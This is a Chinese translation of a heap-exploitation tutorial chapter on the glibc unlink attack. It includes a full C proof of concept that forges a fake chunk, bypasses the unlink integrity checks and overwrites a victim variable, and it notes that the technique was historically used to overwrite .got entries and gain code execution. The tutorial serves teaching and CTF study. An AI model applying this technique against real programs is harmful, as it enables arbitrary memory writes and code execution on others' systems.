Heap Exploitation系列翻译-11 Unlink Exploit

| categories translations  | tags CTF  pwn  heap 

本文是对Dhaval Kapil的Heap Exploitation系列教程的译文

这项攻击技术曾十分常用, 然而之后在unlink宏里添加的两项安全检查(“corrupted size vs. prev_size”)和(“corrupted double-linked list”)在一定程度上减少了这种攻击. 不过我们依旧值得花时间去掌握这项技术. 该攻击技术利用了在bin中移除堆块时unlink宏进行的指针操作发生的漏洞

考虑以下示例代码(下载完整版本: 这里 )

struct chunk_structure {
  size_t prev_size;
  size_t size;
  struct chunk_structure *fd;
  struct chunk_structure *bk;
  char buf[10];               // padding
};

unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80);        // Points to 0xa0e010
chunk2 = malloc(0x80);        // Points to 0xa0e0a0

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80;  // chunk1's data region size
chunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;   // hex for "hacked!"

printf("%s\n", data);         // Prints "hacked!"

相比其他攻击, 这看上去可能会有些复杂. 首先我们申请了两个大小为0x80的堆块 chunk1chunk2以确保两者都在smallbin范围内. 接下来我们假定攻击者以某种方式无界限地控制chunk1的内容(比如说可以使用一些不安全的函数比如strcpy来读取用户输入). 要注意, 两个堆块在内存里是紧挨着的. 上面展示的代码使用了一个自定义的结构体chunk_structure单纯只是为了清楚的展示而已. 在一个攻击情景中, 攻击者可能只是简单地发送一些数据填充了chunk1, 这样也是能达到相同效果的

chunk1data域创建了一个新的伪造堆块. fdbk指针经过调整以绕过”corrupted double-linked list”安全检查. 攻击者的输入内容溢出到了chunk2的头部并设置了对应的prev_sizeprev_in_use位. 这也确保了一旦chunk2被释放, 我们的fake_chunk都会被认作为’空闲的’并且将进行unlink操作. 下面的图标很好地展示了不同内存区域的当前状态:

Unlink before call to free

务必要弄明白为什么可以通过P->fd->bk == PP->bk->fd == P的检查. 这会告诉你如何去调整伪堆块的fdbk指针

一旦chunk2被释放, 它就会作为small bin被处理. 我们回想一下, prev chunks和next chunks会被检查它们是否被释放. 如果其中任意一个堆块被检查到已释放, 它就会因为合并连续的空闲堆块而进行unlink操作. unlink宏执行以下两个修改指针的指令:

  1. 设置 P->fd->bk = P->bk.
  2. 设置 P->bk->fd = P->fd.

In this case, both P->fd->bk and P->bk->fd point to the same location so only the second update is noticed. The following diagram shows the effects of the second update just after chunk2 is freed.

在这种情形下, P->fd->bkP->bk->fd都指向相同的地方因此我们只需要注意第二次操作即可. 下面的图标展示了在chunk2被释放后第二次操作的影响.

Unlink after call to free

现在, 我们让chunk1在它之后(&chunk-3)指向了3个地址(16位). 因此, chunk1[3]实际上就是chunk1. 改变chunk1[3]就是改变chunk1. 要注意的是, 一个攻击者很有可能获得机会去更新chunk1(这里是chunk1[3])位置的数据, 而非chunk1本身. 这样我们完成了这次攻击. 在本例中, chunk1用于指向变量’data’并且通过改变chunk1从而影响到了该变量

早先, 在缺少unlink的安全检查的时候, 那两项unlink宏的指令常用语显示任意地址写. 通过覆写.got段从而导致任意代码执行


Previous     Next